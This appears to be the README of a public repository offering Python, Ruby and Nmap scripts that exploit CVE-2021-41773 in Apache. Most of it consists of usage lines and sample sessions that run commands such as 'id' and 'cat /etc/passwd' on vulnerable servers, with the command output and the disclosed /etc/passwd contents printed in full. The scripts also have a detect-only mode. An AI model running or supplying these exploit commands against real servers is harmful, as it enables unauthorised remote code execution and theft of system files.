mauricelambert/cve-2021-41773Multi-language exploit and detection scripts for CVE-2021-41773, enabling remote code execution and local file disclosure on vulnerable Apache servers.
This script exploits CVE-2021-41773 to print file or/and execute command.
This script is available for:
git clone https://github.com/mauricelambert/CVE-2021-41773.git
cd CVE-2021-41773
# Python
pip install -r requirements.txt
# Python
python3 CVE202141773.py [(-f/--file FILE|-c/--commands COMMAND1 COMMAND2 ...) -s/--ssl -o/--output FILE target]
# Nmap
nmap -p 80 --script RCE_CVE2021_41773 [--script-args "file=<file>" "command=<command>"] <target>
# Ruby
ruby CVE-2021-41773.rb [(-f/--file FILE|-c/--commands "COMMAND1;COMMAND2;...") -o/--output FILE target]
~# python3 CVE202141773.py 127.0.0.1:80
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[-] Target is not vulnerable.
~# python3 CVE202141773.py 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# python3 CVE202141773.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -f "/etc/passwd" -o out.txt 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -u "error" -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 403).
~# python3 CVE202141773.py -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 404).
~#
~# ruby CVE-2021-41773.rb 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target: 127.0.0.1 is vulnerable
~# ruby CVE-2021-41773.rb -c "id; echo abc" 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
abc
~# ruby CVE-2021-41773.rb -f "/etc/passwd" -o abc.txt
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Host (target): 127.0.0.1
[+] Target is vulnerable.
~# cat abc.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~#
~# nmap -p 80 --script RCE_CVE2021_41773 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:39 CET
NSE: Web service is up. Send payload...
NSE: Mode: detect only. No exploit.
NSE: Target is vulnerable.
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| year: 2021
| day: 29
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|_ https://github.com/mauricelambert/CVE-2021-41773
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "file=/etc/passwd" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:38 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit local file disclosure
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00017s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| month: 09
| year: 2021
| day: 29
| disclosure: 2021-09-29
| refs:
| https://github.com/mauricelambert/CVE-2021-41773
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| exploit output:
|
| root:x:0:0:root:/root:/bin/bash
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|_
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "command=id" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:32 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit RCE
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00087s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| day: 29
| year: 2021
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| https://github.com/mauricelambert/CVE-2021-41773
| exploit output:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|_
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
~#
Licensed under the GPL, version 3.